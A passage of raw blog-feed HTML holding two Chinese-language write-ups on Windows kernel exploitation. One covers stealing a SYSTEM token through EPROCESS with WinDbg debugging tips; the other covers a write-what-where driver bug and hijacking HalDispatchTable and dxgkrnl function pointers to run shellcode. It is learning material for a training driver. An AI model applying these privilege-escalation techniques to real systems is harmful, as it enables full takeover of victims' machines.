class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; dt nt!_EPROCESS</span><br><span class="line">//....</span><br><span class="line">   +0x0d8 ProcessQuotaUsage : [2] Uint4B</span><br><span class="line">   +0x0e0 ProcessQuotaPeak : [2] Uint4B</span><br><span class="line">   +0x0e8 PeakVirtualSize  : Uint4B</span><br><span class="line">   +0x0ec VirtualSize      : Uint4B</span><br><span class="line">   +0x0f0 SessionProcessLinks : _LIST_ENTRY</span><br><span class="line">   +0x0f8 ExceptionPortData : Ptr32 Void</span><br><span class="line">   +0x0f8 ExceptionPortValue : Uint4B</span><br><span class="line">   +0x0f8 ExceptionPortState : Pos 0, 3 Bits</span><br><span class="line">   +0x0fc Token            : _EX_FAST_REF &lt;------------修改这里</span><br></pre></td></tr></table></figure><p>不过修改这个地方的话，之前的做法比较无脑，一般就是:</p><ul><li>找到一个超高权限的进程，例如system</li><li>将其token复制过来，覆盖当前进程的token</li></ul><p>这个做法其实有点问题。我们看到token这个玩意儿的结构体:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_EX_FAST_REF</span></span><br><span class="line">&#123;</span><br><span class="line">     <span class="keyword">union</span></span><br><span class="line">     &#123;</span><br><span class="line">          PVOID Object;</span><br><span class="line">          ULONG RefCnt: <span class="number">3</span>;</span><br><span class="line">          ULONG Value;</span><br><span class="line">     &#125;;</span><br><span class="line">&#125; EX_FAST_REF, *PEX_FAST_REF;</span><br></pre></td></tr></table></figure><p>可以看到，它虽然是一个指针，但是<strong>低3bit是用来表示当前对象的引用次数的</strong>。换句话说，如果我们真的拷贝了某一个token的话，其实还需要将当前token 的<code>refCnt</code>数量给修改了，不然当被我们拷贝的那个进程结束的时候，token本身也就会被销毁，从而导致BSoD。不过，我们可以看到之前提到的那个<code>_OBJECT_HEADER</code>，当我们修改这个结构体中的<code>PointerCount</code>的时候，系统就会认为当前对象的引用计数+1，从而放指bsod。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt _Object_header 8bfd1888</span><br><span class="line">nt!_OBJECT_HEADER</span><br><span class="line">   +0x000 PointerCount     : 0n33</span><br><span class="line">   +0x004 HandleCount      : 0n2</span><br></pre></td></tr></table></figure><p>参考的文章中提供了一种比较常见的利用思路</p><ul><li>通过hook <code>NtOpenThreadToken()</code>，然后调用<code>MsiInstallProduct()</code>API（需要中级的权限）来截获SystemToken</li><li>当我们有多次写的能力的时候，我们需要首先将<code>TOKEN-0x18</code>(也就是PointerCount)数量+1，之后再修改当前进程token为这个token</li><li>如果只有单次写能力的时候，首先选择一个不太可能结束的进程（例如system），修改完当前进程的token之后，马上从这个不太可能结束的进程中复制两个token的句柄。</li></ul><h2 id="关于windbg">关于Windbg</h2><p>调试是帮助理解的一个重要的过程。这里记录一些有用的能够帮助分析的一些调试技巧</p><h3 id="内核调试进程">内核调试进程</h3><p>调试内核的时候，首先最想要知道的就是进程相关的信息，使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kd&gt;!process 0 0</span><br></pre></td></tr></table></figure><p>来枚举当前内核中所有的进程，或者使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kd&gt;!process 0 0 ImageName</span><br></pre></td></tr></table></figure><p>来指定加载了<code>ImageName</code>的进程。（不过和上面那个指令执行的速度基本一样快）<br>执行之后，就会打印如下的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; !process 0 0 Exploit.exe</span><br><span class="line">PROCESS aed07600  SessionId: 1  Cid: 1b90    Peb: 00451000  ParentCid: 0d24</span><br><span class="line">    DirBase: 3ffd35c0  ObjectTable: af3f4540  HandleCount:  38.</span><br><span class="line">    Image: Exploit.exe</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里稍微解释一下其中几个常见值的意义：</p><ul><li><code>PROCESS</code>后面指出的就是当前进程的<code>EPROCESS</code>的地址</li><li><code>SessionId</code>表示的是当前枚举进程所属的会话</li><li><code>Cid</code>表示<code>CLIENT_ID</code>，这里本质上就是PID</li><li><code>PEB</code>表示当前PEB的地址。。。</li><li><code>ParentCid</code>表示父进程PID</li></ul><p>其他值暂时还没搞懂是啥意思</p><h3 id="切换进程">切换进程</h3><p>直接上网查的话，很容易查到说kernel层切换进程的指令为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kd&gt;.process /r /p EPROCESS</span><br></pre></td></tr></table></figure><p>然而这个指令本质上<strong>只是表示将当前进程中的所有的分页表映射对应的物理地址中</strong>，这个操作其实对于live debug帮助实际上并没有那么大，只能说<strong>对于full dump之类的场合，能够更加方便的分析进程信息</strong>。如果在live debug中，可以使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kd&gt;.process /i EPROCESS</span><br></pre></td></tr></table></figure><p>使用完之后，windbg会提示使用<code>g</code>指令运行一阵子，当再次发生中断的时候，此时整个windbg就会切换到我们指定的进程空间中。这个时候使用形如<code>!token</code>之类的指令，就能够直接查询指定进程的基本信息了。</p><h3 id="检查object-header">检查Object header</h3><p>Windows中万物皆object，所以基本上可以认为每一个你能看到的结构中，都会有一个object header，而且大小似乎是固定的<code>0x18</code>(x86)</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_OBJECT_HEADER</span></span><br><span class="line">&#123;</span><br><span class="line">     LONG PointerCount;</span><br><span class="line">     <span class="keyword">union</span></span><br><span class="line">     &#123;</span><br><span class="line">          LONG HandleCount;</span><br><span class="line">          PVOID NextToFree;</span><br><span class="line">     &#125;;</span><br><span class="line">     POBJECT_TYPE Type;</span><br><span class="line">     UCHAR NameInfoOffset;</span><br><span class="line">     UCHAR HandleInfoOffset;</span><br><span class="line">     UCHAR QuotaInfoOffset;</span><br><span class="line">     UCHAR Flags;</span><br><span class="line">     <span class="keyword">union</span></span><br><span class="line">     &#123;</span><br><span class="line">          POBJECT_CREATE_INFORMATION ObjectCreateInfo;</span><br><span class="line">          PVOID QuotaBlockCharged;</span><br><span class="line">     &#125;;</span><br><span class="line">     PVOID SecurityDescriptor;</span><br><span class="line">     QUAD Body;</span><br><span class="line">&#125; OBJECT_HEADER, *POBJECT_HEADER;</span><br></pre></td></tr></table></figure><p>所以如果需要看这个对象的一些会记录在<code>object_header</code>中的基本属性的时候，可以直接:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; dt _object_header  a4401ca8-0x18</span><br><span class="line">nt!_OBJECT_HEADER</span><br><span class="line">   +0x000 PointerCount     : 0n9</span><br><span class="line">   +0x004 HandleCount      : 0n0</span><br><span class="line">   +0x004 NextToFree       : (null) </span><br><span class="line">   +0x008 Lock             : _EX_PUSH_LOCK</span><br><span class="line">   +0x00c TypeIndex        : 0x8a &#x27;&#x27;</span><br><span class="line">   +0x00d TraceFlags       : 0 &#x27;&#x27;</span><br><span class="line">   +0x00d DbgRefTrace      : 0y0</span><br><span class="line">   +0x00d DbgTracePermanent : 0y0</span><br><span class="line">   +0x00e InfoMask         : 0x8 &#x27;&#x27;</span><br><span class="line">   +0x00f Flags            : 0x2 &#x27;&#x27;</span><br><span class="line">   +0x00f NewObject        : 0y0</span><br><span class="line">   +0x00f KernelObject     : 0y1</span><br><span class="line">   +0x00f KernelOnlyAccess : 0y0</span><br><span class="line">   +0x00f ExclusiveObject  : 0y0</span><br><span class="line">   +0x00f PermanentObject  : 0y0</span><br><span class="line">   +0x00f DefaultSecurityQuota : 0y0</span><br><span class="line">   +0x00f SingleHandleEntry : 0y0</span><br><span class="line">   +0x00f DeletedInline    : 0y0</span><br><span class="line">   +0x010 ObjectCreateInfo : 0x81cc63c0 _OBJECT_CREATE_INFORMATION</span><br><span class="line">   +0x010 QuotaBlockCharged : 0x81cc63c0 Void</span><br><span class="line">   +0x014 SecurityDescriptor : 0x9f9bed11 Void</span><br><span class="line">   +0x018 Body             : _QUAD</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="参考链接">参考链接</h2><p><a href="http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf">http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf</a><br><a href="https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a">https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上篇我们只是简单介绍了一下 在Windows Kernel中的 WWW 类型的漏洞应该怎么利用。这一篇将会比较详细的讲解一下常见的理用方式以及相关调试技巧。（可能会借助上一篇中存在的漏洞）&lt;br&gt;
本篇转自安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/218681&quot;&gt;https://www.anquanke.com/post/id/218681&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="windows" scheme="https://showlinkroom.me/tags/windows/"/>
    
  </entry>
  
  <entry>
    <title>WindowKernelExploit2</title>
    <link href="https://showlinkroom.me/2020/10/16/WindowKernelExploit2/"/>
    <id>https://showlinkroom.me/2020/10/16/WindowKernelExploit2/</id>
    <published>2020-10-16T11:46:11.000Z</published>
    <updated>2020-11-12T15:20:10.543Z</updated>
    
    <content type="html"><![CDATA[<p>为了更快的解决问题，我尝试着在网上搜索相关wp，但是发现<strong>很多该系列的文章讨论的都不是在这个版本上进行的，所以导致很多WP在这个平台上已经不适用了。</strong><br>然而现实中，Windows Kernel的EXP却也依然能够涵盖到非常新的win10版本上，说明即使在最新的win10上，也依然有利用的机会。所以这边的第二篇想简单讨论以下这种攻击在win10 1903上依然通用的一种解法</p><p>本篇转自安全客 <a href="https://www.anquanke.com/post/id/213428">https://www.anquanke.com/post/id/213428</a></p><h2 id="more-window-kernel-exploit-02-arbitrary-overwrite"><span id="more"></span><br>Window Kernel Exploit 02 - Arbitrary Overwrite</h2><p><strong>任意地址写</strong>，在用户态中也是一种常见的漏洞，其形式通常存在一个<strong>可以被控制的指针</strong>，以及<strong>在之后的逻辑中，会发生一次对指针内容的修改</strong>:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">vulnerable_function</span><span class="params">(<span class="type">int</span> addr_user_input, <span class="type">int</span> content_user_input)</span></span>&#123;</span><br><span class="line">    <span class="type">int</span> *ptr = addr_user_input;</span><br><span class="line">    *ptr = content_user_input</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种漏洞在用户态有一些很容易能够想到的利用方法，比如<strong>修改内存中一些固定模块的函数指针，然后调用对应函数，从而跳转到指定的控制流上</strong>。在内核中的利用思路也是类似，不过会多一些防护，之后会慢慢道来。</p><h3 id="漏洞点">漏洞点</h3><p>用IDA可以很容易的看到问题所在:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> __stdcall <span class="title">ArbitraryOverwriteIoctlHandler</span><span class="params">(PIRP a1, PIO_STACK_LOCATION a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// ecx</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="number">0xC0000001</span>;</span><br><span class="line">  <span class="keyword">if</span> ( a2-&gt;Parameters.DeviceIoControl.Type3InputBuffer )</span><br><span class="line">    v2 = <span class="built_in">TriggerArbitraryOverwrite</span>((UserAddr *)a2-&gt;Parameters.DeviceIoControl.Type3InputBuffer);</span><br><span class="line">  <span class="keyword">return</span> v2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> __stdcall <span class="title">TriggerArbitraryOverwrite</span><span class="params">(UserAddr *UserAddress)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *Where_addr; <span class="comment">// edi</span></span><br><span class="line">  _DWORD *What_content; <span class="comment">// ebx</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">ProbeForRead</span>(UserAddress, <span class="number">8u</span>, <span class="number">4u</span>);</span><br><span class="line">  Where_addr = (_DWORD *)UserAddress-&gt;Where;</span><br><span class="line">  What_content = (_DWORD *)UserAddress-&gt;What;</span><br><span class="line">  <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] UserWriteWhatWhere: 0x%p\n&quot;</span>, UserAddress);</span><br><span class="line">  <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] WRITE_WHAT_WHERE Size: 0x%X\n&quot;</span>, <span class="number">8</span>);</span><br><span class="line">  <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] UserWriteWhatWhere-&gt;What: 0x%p\n&quot;</span>, Where_addr);</span><br><span class="line">  <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] UserWriteWhatWhere-&gt;Where: 0x%p\n&quot;</span>, What_content);</span><br><span class="line">  <span class="built_in">DbgPrint</span>(<span class="string">&quot;[+] Triggering Arbitrary Overwrite\n&quot;</span>);</span><br><span class="line">  *What_content = *Where_addr;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个<code>UserAddr</code>是一个由用户态定义的结构体:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">UserAddr</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> Where;</span><br><span class="line">  <span class="type">int</span> What;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这个就是一个典型的<code>write-what-where</code>的漏洞</p><h2 id="利用思路">利用思路</h2><h3 id="往哪儿写-旧思路">往哪儿写（旧思路）</h3><p>在内核态，遇到这种漏洞的时候，第一个想到的应该就是<strong>需要往哪儿写</strong>。一个常见的套路的是<code>nt!haldispatchTable</code>，这个地址是一个<code>ntokrnl.exe</code>中的一个用来存放函数指针的全局对象，修改这个<code>table</code>中一个很少被调用的API<strong>NtQueryIntervalProfile</strong>对应的位置<code>nt!haldispatchTable+4</code>(64bit 为 <code>nt!haldispatchTable+8</code>)，此时就相当于是劫持了<strong>NtQueryIntervalProfile</strong>的调用。</p><h3 id="要写什么-旧思路">要写什么（旧思路）</h3><p>第一个直观的想法就是<strong>将用户态的shellcode地址写上去</strong>。然后就可以依照第一篇中写的EXP，修改一下放到这边去。但是这样的话，就有了第一章的<code>CR4</code>的问题。</p><h4 id="新的地址-旧思路">新的地址（旧思路）</h4><p>之前的做法需要用到<code>ROP</code>，我虽然找到了<code>wjllz</code>大师傅的<a href="https://paper.seebug.org/876/">博客</a>，但是这个方法在我的测试环境上(1903)似乎不能正常work。于是我直接找到了他本人去问。大师傅人很好，给了我很多方向，然后我找到了一篇<a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf">blackhat上的文章</a>，里面提到了一种方法:<br><img src="/2020/10/16/WindowKernelExploit2/win01.png" alt=""><br>这个方法的原理是说，在形如<code>NtGdiDdDDICreateAllocation</code>，或者大佬博客里提到的<code>NtGdiDdDDIGetContextSchedulingPriority</code>这类和GDI相关的API调用的处理驱动中，有一片未初始化的可写可执行区域：<br><img src="/2020/10/16/WindowKernelExploit2/win02.png" alt=""><br>上图中的<code>win32k!NtGdiDdDDIGetContextSchedulingPriority</code>，这个地方就是驱动所在的导出表的位置</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">win32k!NtGdiDdDDIGetContextSchedulingPriority:</span><br><span class="line">93e00689 ff259016e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority (93e01690)]</span><br><span class="line">win32k!NtGdiDdDDISetContextSchedulingPriority:</span><br><span class="line">93e0068f ff258c16e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDISetContextSchedulingPriority (93e0168c)]</span><br><span class="line">win32k!NtGdiDdDDIGetDeviceState:</span><br><span class="line">93e00695 ff258816e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDIGetDeviceState (93e01688)]</span><br></pre></td></tr></table></figure><p>然而我们顺着找这个<code>win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority</code>的地址，可以找到如下内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority</span><br><span class="line">93e01690  9090f62f 90858cb6 90935941 90935a69</span><br><span class="line">93e016a0  9082dad0 940dd204 940dcc95 940dc939</span><br><span class="line">93e016b0  940dbcce 940dbb6f 940dd2af 940dcbd7</span><br></pre></td></tr></table></figure><p>这个<code>9090f62f</code>正好指向一个实现在<code>dxgkrnl.sys</code>的对应函数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; u 9090f62f</span><br><span class="line">dxgkrnl!DxgkGetContextSchedulingPriority:</span><br><span class="line">9090f62f 68a8000000      push    0A8h</span><br><span class="line">9090f634 68a0c17d90      push    offset dxgkrnl!_realffefffffffffffff+0x1e30 (907dc1a0)</span><br><span class="line">9090f639 e876a5e8ff      call    dxgkrnl!_SEH_prolog4_GS (90799bb4)</span><br><span class="line">9090f63e 8b7508          mov     esi,dword ptr [ebp+8]</span><br><span class="line">9090f641 838d58ffffffff  or      dword ptr [ebp-0A8h],0FFFFFFFFh</span><br><span class="line">9090f648 33db            xor     ebx,ebx</span><br></pre></td></tr></table></figure><p>于是一个新的想法就产生了：能不能将这个<code>win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority</code>指向的地址给修改成我们shellcode的地址呢？</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dps win32kbase!gDxgkInterface</span><br><span class="line">94193a30  002b018c</span><br><span class="line">94193a34  94000000 win32kbase!EtwTraceUIPIInputError &lt;PERF&gt; (win32kbase+0x0)</span><br><span class="line">94193a38  00000000</span><br><span class="line">94193a3c  9082d944 dxgkrnl!DxgkCaptureInterfaceDereference</span><br><span class="line">94193a40  9082d944 dxgkrnl!DxgkCaptureInterfaceDereference</span><br><span class="line">94193a44  908254f6 dxgkrnl!DxgkProcessCallout</span><br><span class="line">94193a48  907f4090 dxgkrnl!DxgkNotifyProcessFreezeCallout</span><br><span class="line">94193a4c  9082a3e0 dxgkrnl!DxgkNotifyProcessThawCallout</span><br><span class="line">94193a50  9080bf20 dxgkrnl!DxgkOpenAdapter</span><br><span class="line">94193a54  907f2022 dxgkrnl!DxgkEnumAdapters2Impl</span><br><span class="line">94193a58  9085b540 dxgkrnl!DxgkGetMaximumAdapterCount</span><br><span class="line">94193a5c  90824d50 dxgkrnl!DxgkCloseAdapterImpl</span><br><span class="line">94193a60  9081f8ac dxgkrnl!DxgkDestroyDevice</span><br><span class="line">94193a64  90800180 dxgkrnl!DxgkEscape</span><br><span class="line">94193a68  907ff340 dxgkrnl!DxgkGetPresentHistoryInternal</span><br><span class="line">94193a6c  90935a69 dxgkrnl!DxgkReleaseProcessVidPnSourceOwners</span><br><span class="line">94193a70  908e1b01 dxgkrnl!DxgkPollDisplayChildrenInternal </span><br><span class="line">94193a74  90858a48 dxgkrnl!DxgkFlushPresentHistory</span><br><span class="line">94193a78  907edf46 dxgkrnl!DxgkGetPathsModality</span><br><span class="line">94193a7c  90829e40 dxgkrnl!DxgkFunctionalizePathsModality</span><br><span class="line">94193a80  90829d20 dxgkrnl!DxgkApplyPathsModality</span><br><span class="line">94193a84  908202aa dxgkrnl!DxgkFinalizePathsModality</span><br><span class="line">94193a88  907e35a4 dxgkrnl!DxgkPersistPathsModality</span><br><span class="line">94193a8c  9082d3d2 dxgkrnl!DxgkFreePathsModality</span><br><span class="line">94193a90  907e1c10 dxgkrnl!DxgkAugmentCdsj</span><br><span class="line">94193a94  90855550 dxgkrnl!DxgkGetPresentHistoryReadyEvent</span><br><span class="line">94193a98  907f6dec dxgkrnl!DxgkGetDisplayConfigBufferSizes</span><br><span class="line">94193a9c  907f65b4 dxgkrnl!DxgkQueryDisplayConfig</span><br><span class="line">94193aa0  909439b3 dxgkrnl!DxgkHandleForceProjectionMonitor</span><br><span class="line">94193aa4  9082cf80 dxgkrnl!DxgkUpdateCddDevmodeExtraData</span><br><span class="line">94193aa8  90943e68 dxgkrnl!DxgkProcessDisplayCalloutBatch</span><br><span class="line">94193aac  907f5de2 dxgkrnl!DxgkDisplayConfigDeviceInfo</span><br></pre></td></tr></table></figure><p>令人头痛的是，这个<code>dxgkrnl</code>中记录的这API，与文章中提到的API完全不一样，逆向后发现，好像有一段判断逻辑发生了偏移:<br><img src="/2020/10/16/WindowKernelExploit2/win03.png" alt=""><br>于是现在有了两个继续研究的方向</p><ul><li>找到这个初始化函数的判断依据，想办法进行原先的那些API初始化</li><li>在先有的函数上找到同类型的函数指针进行劫持</li></ul><p><em>不过，说起来初始化的类型不同的话，应该会导致依赖中断号的上层调用的时候出现问题呀，不知道windows是怎么解决的问题。</em></p><p>不过，后来我仔细思考了一下这个利用方法，总结其他其目的应该是:</p><ul><li>通过修改<code>dxgkrnl!DxgkGetContextSchedulingPriority</code>的地址，这样就能够劫持<code>NtGdiDdDDIGetContextSchedulingPriority</code></li><li>第一次将这个函数劫持为<code>ExAllocatePoolWithTag</code>，然后通过调用<code>NtGdiDdDDIGetContextSchedulingPriority</code>去调用<code>ExAllocatePoolWithTag</code>，分配一个<code>RWX</code>的空间</li><li>然后利用WWW漏洞，往这个空间写入shellcode</li><li>修改<code>dxgkrnl!DxgkGetContextSchedulingPriority</code>为<code>ExAllocatePoolWithTag</code>的地址，然后跳转到shellcode</li></ul><p>既然是这个思路的话，那么为什么<strong>不使用最初提到的HalDispathTable</strong>？不过后来我试了一下发现返回值怪怪的，查看了<code>ReactOS</code>中的源码找到了原因:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">NTSTATUS</span></span><br><span class="line"><span class="function">NTAPI</span></span><br><span class="line"><span class="function"><span class="title">NtQueryIntervalProfile</span><span class="params">(IN KPROFILE_SOURCE ProfileSource,</span></span></span><br><span class="line"><span class="params"><span class="function">                       OUT PULONG Interval)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    KPROCESSOR_MODE PreviousMode = <span class="built_in">ExGetPreviousMode</span>();</span><br><span class="line">    ULONG ReturnInterval;</span><br><span class="line">    NTSTATUS Status = STATUS_SUCCESS;</span><br><span class="line">    <span class="built_in">PAGED_CODE</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Check if we were called from user-mode */</span></span><br><span class="line">    <span class="keyword">if</span> (PreviousMode != KernelMode)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">/* Enter SEH Block */</span></span><br><span class="line">        _SEH2_TRY</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/* Validate interval */</span></span><br><span class="line">            <span class="built_in">ProbeForWriteUlong</span>(Interval);</span><br><span class="line">        &#125;</span><br><span class="line">        _SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/* Return the exception code */</span></span><br><span class="line">            _SEH2_YIELD(<span class="keyword">return</span> _SEH2_GetExceptionCode());</span><br><span class="line">        &#125;</span><br><span class="line">        _SEH2_END;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Query the Interval */</span></span><br><span class="line">    ReturnInterval = (ULONG)<span class="built_in">KeQueryIntervalProfile</span>(ProfileSource);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Enter SEH block for return */</span></span><br><span class="line">    _SEH2_TRY</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">/* Return the data */</span></span><br><span class="line">        *Interval = ReturnInterval;</span><br><span class="line">    &#125;</span><br><span class="line">    _SEH2_EXCEPT(<span class="built_in">ExSystemExceptionFilter</span>())</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">/* Get the exception code */</span></span><br><span class="line">        Status = _SEH2_GetExceptionCode();</span><br><span class="line">    &#125;</span><br><span class="line">    _SEH2_END;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Return Success */</span></span><br><span class="line">    <span class="keyword">return</span> Status;</span><br><span 